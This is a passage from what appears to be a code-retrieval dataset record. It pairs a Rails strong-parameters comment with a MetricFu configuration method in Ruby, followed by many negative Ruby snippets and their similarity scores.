"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def generic_monograph_params
params.require(:generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Searches through the instance variables of the class and creates a class method on the MetricFu module to read the value of the instance variable from the Configuration class.
|
def add_class_methods_to_metric_fu
instance_variables.each do |name|
method_name = name[1..-1].to_sym
method = <<-EOF
def self.#{method_name}
configuration.send(:#{method_name})
end
EOF
MetricFu.module_eval(method)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def class_variables() end",
"def method_missing(name, *args, &block)\n if !method_name_info(name).special?\n instance_variable_name = :\"@#{name}\"\n instance_variable_value = config[name]\n instance_variable_set instance_variable_name, instance_variable_value\n \n define_singleton_method name do\n instance_variable_get instance_variable_name\n end\n \n instance_variable_value\n else\n super\n end\n end",
"def config\n Setting[klass_name]\n end",
"def method_missing(method, *args, &block)\n val = settings[method] #instance_variable_get \"@#{method.to_s}\"\n val.nil? ? nil : val\n end",
"def class_variables\n end",
"def instance_variables() end",
"def class_variable_get(sym) end",
"def class_variables; end",
"def add_attr_accessors_to_self\n instance_variables.each do |name|\n method_name = name[1..-1].to_sym\n MetricFu::Configuration.send(:attr_accessor, method_name)\n end\n end",
"def initialize\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n end",
"def method_missing(method, *args)\n @klass[method] = args.first\n end",
"def method_missing(meth, *args, &block)\n config[meth.to_s]\n end",
"def configure_from(load_object_class, yaml_file)\n\n data = YAML.load( ERB.new( IO.read(yaml_file) ).result )\n\n logger.info(\"Setting up Transformations : #{data.inspect}\")\n\n klass = load_object_class.name\n\n config_for_class = data[klass]\n\n if(config_for_class)\n\n method_map = {\n defaults: :set_default_on,\n overrides: :set_override_on,\n substitutions: :set_substitution_on_list,\n prefixes: :set_prefix_on,\n postfixes: :set_postfix_on\n }\n\n method_map.each do |key, call|\n settings = config_for_class[key.to_s]\n\n settings.each do |operator, value|\n send( call, load_object_class, operator, value)\n end if(settings && settings.is_a?(Hash))\n end\n\n end\n end",
"def method_missing(method, *args, &block)\n instance_variable = \"@#{method.to_s}\".to_sym\n\n if @@keys.include? instance_variable\n args.flatten!\n # Set the instance variable to the value passed in\n unless args.empty?\n instance_variable_set(instance_variable, args[0])\n end\n\n # Return the value of the instance_variable\n instance_variable_get(instance_variable)\n else\n super\n end\n end",
"def value_in_class(clazz) value end",
"def define_setting(name, default = nil)\n class_variable_set(\"@@#{name}\", default)\n define_class_method \"#{name}=\" do |value|\n class_variable_set(\"@@#{name}\", value)\n end\n define_class_method name do\n class_variable_get(\"@@#{name}\")\n end\n end",
"def make_setting_reader( name, options )\n\t\tif options[:use_class_vars]\n\t\t\treturn lambda do\n\t\t\t\tLoggability[ Configurability ].debug \"Using class variables for %s of %p\" %\n\t\t\t\t\t[ name, self ]\n\t\t\t\tself.class_variable_get(\"@@#{name}\")\n\t\t\tend\n\t\telse\n\t\t\treturn lambda {\n\t\t\t\tself.instance_variable_get(\"@#{name}\")\n\t\t\t}\n\t\tend\n\tend",
"def initialize(class_data)\n @name = class_data.elements['className'].text\n @max_buildings_destroyed = class_data.elements['ibuildingsdestroyed'].text.to_i\n @max_captures = class_data.elements['ipointcaptures'].text.to_i\n @max_damage = class_data.elements['idamagedealt'].text.to_i\n @max_defenses = class_data.elements['ipointdefenses'].text.to_i\n @max_dominations = class_data.elements['idominations'].text.to_i\n @max_kill_assists = class_data.elements['ikillassists'].text.to_i\n @max_kills = class_data.elements['inumberofkills'].text.to_i\n @max_revenges = class_data.elements['irevenge'].text.to_i\n @max_score = class_data.elements['ipointsscored'].text.to_i\n @max_time_alive = class_data.elements['iplaytime'].text.to_i\n @play_time = class_data.elements['playtimeSeconds'].text.to_i\n end",
"def configuration\n self.class.configuration\n end",
"def configuration\n self.class.configuration\n end",
"def method_missing(meth, *args, &blk)\n configuration.key?(meth.to_s) ? configuration.fetch(meth.to_s) : super\n end",
"def method_missing(meth, *args, &blk)\n configuration.key?(meth.to_s) ? configuration.fetch(meth.to_s) : super\n end",
"def config(value)\n # require value if File.exists?(value)\n if File.exists?(value)\n fc = File.read(value)\n self.instance_eval(fc)\n end\n end",
"def method_missing(method_name, *arguments, &block)\n if Configuration.instance.respond_to?(method_name)\n Configuration.instance.public_send(method_name, *arguments, &block)\n else\n super\n end\n end",
"def get_instance(payload)\n ConfigurationInstance.new(@version, payload)\n end",
"def instance_by_config(config)\n klass = config[:klass] || config[:class_name].constantize\n klass.new(config)\n end",
"def configuration\n instance\n end",
"def configuration\n instance\n end",
"def configuration\n HungryForm.configuration.send(self.class.name.demodulize.underscore)\n end",
"def initialize(...)\n @metrics = {}\n register(...)\n end",
"def method_missing(group_id, *args, &block)\n\n self.class.send :define_method, group_id do\n\n begin\n value = loadConf(group_id)\n return value\n rescue\n return nil\n end\n\n end\n\n self.send(group_id)\n\n end",
"def gauge_getter(name, metadata)\n klass = metadata[:klass]\n\n define_method(name) do |period = nil, options = {}|\n options, period = period, nil if period.is_a?(Hash) && !options\n options.reverse_merge!(period: period) if period\n options.reverse_merge!(type: metadata[:type])\n options.reverse_merge!(metadata[:options])\n klass.new options.merge(object: self)\n end\n end",
"def initialize\n\n # Set some defaults\n self.auth_location = 'usa'\n self.use_service_net = 'false'\n self.retention_days = 7\n\n config_file = find_config_file\n raise \"Unable to find configuration file\" if config_file.nil?\n\n File.open(config_file, 'r') do |file|\n while (line = file.gets)\n key, value = line.strip.split('=', 2)\n send(:\"#{key}=\", value)\n end\n end\n\n end",
"def method_missing(method, *_args, &_block)\n @config.send(method)\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def setup_metrics\n end",
"def retriable_configuration\n Take2::Configuration::CONFIG_ATTRS.each_with_object({}) do |key, hash|\n hash[key] = send(key)\n end\n end",
"def create_getters\n instance_variables.each do |v|\n define_singleton_method(v.to_s.tr('@','')) do\n instance_variable_get(v)\n end\n end\n end",
"def value(opts)\n opts = check_params(opts,[:class_instance_key,:field_instance_name])\n super(opts)\n end",
"def configuration\n self.class.configuration\n end",
"def configuration\n self.class.configuration\n end",
"def instance_variable_get(p0) end",
"def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end",
"def define_reflection_methods\n\n # *_class_name, *_class, *_table_name methods for all classes\n @config.classes.to_h.each do |class_type,class_name|\n class_type_name = class_type.to_s.gsub(/_class$/,'').singularize\n class_eval do\n \n # def CLASS_TYPE_class_name\n define_method \"#{class_type_name}_class_name\" do\n if @config.send(class_type).is_a?(Class)\n @config.send(class_type).name\n else\n @config.send(class_type).to_s.camelize\n end\n end\n alias_method \"#{class_type_name.pluralize}_class_name\", \"#{class_type_name}_class_name\"\n \n # def CLASS_TYPE_class\n define_method \"#{class_type_name}_class\" do\n \"::#{send(\"#{class_type_name}_class_name\")}\".constantize\n end\n alias_method \"#{class_type_name.pluralize}_class\", \"#{class_type_name}_class\"\n\n # def CLASS_TYPE_table_name\n define_method \"#{class_type_name}_table_name\" do\n send(\"#{class_type_name}_class\").table_name\n end\n alias_method \"#{class_type_name.pluralize}_table_name\", \"#{class_type_name}_table_name\"\n\n # def CLASS_TYPE_singular_key (used primarily for associations)\n define_method \"#{class_type_name}_singular_key\" do\n send(\"#{class_type_name}_class_name\").underscore.split(\"/\").last.singularize.to_sym\n end\n alias_method \"#{class_type_name.pluralize}_singular_key\", \"#{class_type_name}_singular_key\"\n\n # def CLASS_TYPE_plural_key (use primarily for associations)\n define_method \"#{class_type_name}_plural_key\" do\n send(\"#{class_type_name}_class_name\").underscore.split(\"/\").last.pluralize.to_sym\n end\n alias_method \"#{class_type_name.pluralize}_plural_key\", \"#{class_type_name}_plural_key\"\n \n # These define aliases for custom class names, like user_class and user_table_name aliased to subject_class and subject_table_name\n unless class_type.to_s.underscore == \"#{class_name.to_s.underscore}_class\"\n %w(_class_name _class _table_name _singular_key _plural_key).each do |suffix|\n alias_method \"#{class_name.to_s.underscore.singularize}#{suffix}\", \"#{class_type_name}#{suffix}\"\n alias_method \"#{class_name.to_s.underscore.pluralize}#{suffix}\", \"#{class_name.to_s.underscore.singularize}#{suffix}\"\n end\n end\n \n end\n end\n\n # *_foreign_key method for primary classes\n @config.primary_classes.to_h.each do |class_type,class_name|\n class_type_name = class_type.to_s.gsub(/_class$/,'').singularize\n class_eval do\n # def CLASS_TYPE_foreign_key\n define_method \"#{class_type_name}_foreign_key\" do\n # This is hideous, but we need some sort of fallback for cases like Rails 4 Heroku deploys where the environment and\n # database are not available.\n begin\n \"#{send(\"#{class_type_name}_table_name\").singularize}_#{send(\"#{class_type_name}_class\").primary_key}\"\n rescue\n \"#{send(\"#{class_type_name}_table_name\").singularize}_id\"\n end\n end\n alias_method \"#{class_type.to_s.gsub(/_class$/,\"\").pluralize}_foreign_key\", \"#{class_type.to_s.gsub(/_class$/,\"\").singularize}_foreign_key\"\n \n unless class_type.to_s.underscore == \"#{class_name.to_s.underscore}_class\"\n alias_method \"#{class_name.to_s.underscore.singularize}_foreign_key\", \"#{class_type.to_s.gsub(/_class$/,\"\").singularize}_foreign_key\" # CLASS_NAME_foreign_key\n alias_method \"#{class_name.to_s.underscore.pluralize}_foreign_key\", \"#{class_name.to_s.underscore.singularize}_foreign_key\"\n end\n end\n end\n end",
"def method_missing(method, *args)\n @klass[method] = *args\n end",
"def initialize(config_file)\n @config_file = config_file\n raise Errno::EACCES, \"#{self.config_file} is not readable\" unless File.readable?(self.config_file)\n open(self.config_file).each { |line| \n line.chomp\n unless (/^\\#/.match(line))\n if(/\\s*=\\s*/.match(line))\n param, value = line.split(/\\s*=\\s*/, 2) \n var_name = \"#{param}\".chomp.strip\n value = value.chomp.strip\n new_value = ''\n if (value)\n if value =~ /^['\"](.*)['\"]$/\n new_value = $1\n else\n new_value = value\n end\n else\n new_value = ''\n end \n self.instance_variable_set(\"@#{var_name}\", new_value)\n end\n end\n } \n end",
"def class_variable=(value)\n @@class_variable = value \n end",
"def calc_value\n @cfg.munger.call(to_type)\n end",
"def set_class_instance_variables(klass, variables)\n variables.each do |key, value|\n klass.instance_variable_set(\"@#{key}\", value)\n klass.define_singleton_method(key) { instance_variable_get(\"@#{key}\") }\n end\n end",
"def instance_variables; end",
"def get_instance(payload)\n ConfigurationInstance.new(@version, payload, chat_service_sid: @solution[:chat_service_sid])\n end",
"def actual_config\n Config.instance\n end",
"def method_missing(method, *args)\n if self.respond_to?(method)\n super\n else\n method_name = method.to_s\n \n #set a value for a variable\n if method_name =~ /=$/\n var_name = method_name.gsub('=', '')\n value = args.first\n self[var_name] = value\n \n #retrieve a value\n else\n self[method_name]\n end\n end\n end",
"def define_dynamic_config_field(method_sym)\n class_eval <<-RUBY\n def #{method_sym}\n @values[:#{method_sym}]\n end\n\n def #{method_sym}=(value)\n @values[:#{method_sym}] = value\n end\n RUBY\n end",
"def initialize args\n index = 0\n puts args\n #iterates through all the instance variables declared at the time\n #of class creation and sets \n self.class.instance_variables.each do |instance_variable|\n\n #To set instance_variable as per new object values \n self.class.instance_variable_set( \"#{ instance_variable}\", args[ index ] )\n \n #To get value of class_variable i.e. returns array\n class_variable_array = self.class.class_variable_get( \"@#{ instance_variable }\" )\n \n #To push new args value into class variable\n self.class.class_variable_set( \"@#{ instance_variable }\", class_variable_array.push( \"#{ args[ index ] }\" ) ) \n index += 1\n end\n puts self.is_a? Sourcedetails\n end",
"def initialize(config)\n @name = config[\"name\"]\n if @name.nil?\n raise \"You must specify a name\"\n end\n @unit = \"\"\n @value = nil\n @interval = config.has_key?(\"interval\") ? config[\"interval\"] : DEFAULT_INTERVAL\n @retrievals = 0\n @last_retrieved_ts = Time.at(0)\n end",
"def method_missing(method_name, *args, &block)\n\n # TODO: document the block + arguments scenario when subclassing\n if block_given?\n @configurations[method_name] ||= self.class.new(*args.unshift(method_name))\n @configurations[method_name].instance_eval &block\n return @configurations[method_name]\n end\n\n return get(method_name) if args.length == 0\n\n assign(method_name, args)\n end",
"def method_missing method, *args, &block\n if args.empty?\n @config.send(method)\n else\n @config.send(\"#{method}=\", args.first)\n end\n end",
"def user_config(key)\n Autoproj.user_config(key)\nend",
"def method_missing(method, *args)\n if method.to_s[-1,1] == '='\n @configuration[method.to_s.tr('=','').to_sym] = *args\n else\n @configuration[method]\n end\n end",
"def method_missing(name, *args, &blk)\n return self[name.to_s] if has_key?(name.to_s)\n return self['config'][name.to_s] if self['config'] && self['config'].has_key?(name.to_s)\n super(name, *args, &blk)\n end",
"def method_missing(name, *args, &blk)\n return self[name.to_s] if has_key?(name.to_s)\n return self['config'][name.to_s] if self['config'] && self['config'].has_key?(name.to_s)\n super(name, *args, &blk)\n end",
"def get_handler\n handler = YAML.load(self.code)\n # If it could not be deserialized property try registering its class\n # Constantize supposedly only converts a string into the constant,\n # but somehow it is allowing YAML to create the correct instance.\n # Black magic, clearly, but it works, as black magic usually does.\n if handler.instance_of? YAML::Object\n handler.class.constantize\n handler = YAML.load(self.code)\n end\n\n handler\n end",
"def config_from_hash(data = {})\n data.each do |param, value|\n if Pkg::Params::BUILD_PARAMS.include?(param.to_sym)\n self.instance_variable_set(\"@#{param}\", value)\n else\n warn \"Warning - No build data parameter found for '#{param}'. Perhaps you have an erroneous entry in your yaml file?\"\n end\n end\n end",
"def initialize(json_hash = FileAccessor.local_config)\n @hash = json_hash # holds the config hash from which ever node of our\n # config file this instance represents...\n\n @hash.each_pair do |key, value|\n\n define_singleton_method key do |options = {}|\n interpolate = (options[:interpolate] != false) # set interpolate var\n # to true as long as it hasn't been set to false in an\n # options hash TODO PJ: make this \"raw\" for interp. &\n # referencing other vals...\n\n if value.is_a? Hash\n ConfigHash.new(value) # create a new instance for this node\n else\n if interpolate # return interpolated values...\n if value.is_a? Array\n value.map {|item| interpolate_commands_in item}\n else\n interpolate_commands_in value\n end\n else # return raw value, most often same as interpolated value\n value\n end\n end\n end\n\n if value.is_a? String\n define_singleton_method :\"#{key}=\" do |value|\n @hash[key] = value\n end\n end\n\n end\n end",
"def method_missing(name, *args, &block)\n key = name.to_s\n return missing_key(\"Missing setting '#{key}' in #{@section}\") unless has_key? key\n value = fetch(key)\n create_accessor_for(key)\n value.is_a?(Hash) ? self.class.new(value, \"'#{key}' section in #{@section}\") : value\n end",
"def get!(instance)\n instance.instance_variable_get(instance_variable_name)\n end",
"def configuration\n self[:configuration]\n end",
"def method_missing(method, *args)\n if (i = dimension_method_names.find_index(method))\n define_singleton_method(method) do\n dimensions[i]\n end\n send(method)\n elsif (i = metric_method_names.find_index(method))\n define_singleton_method(method) do\n convert_metric(i)\n end\n send(method)\n else\n super\n end\n end",
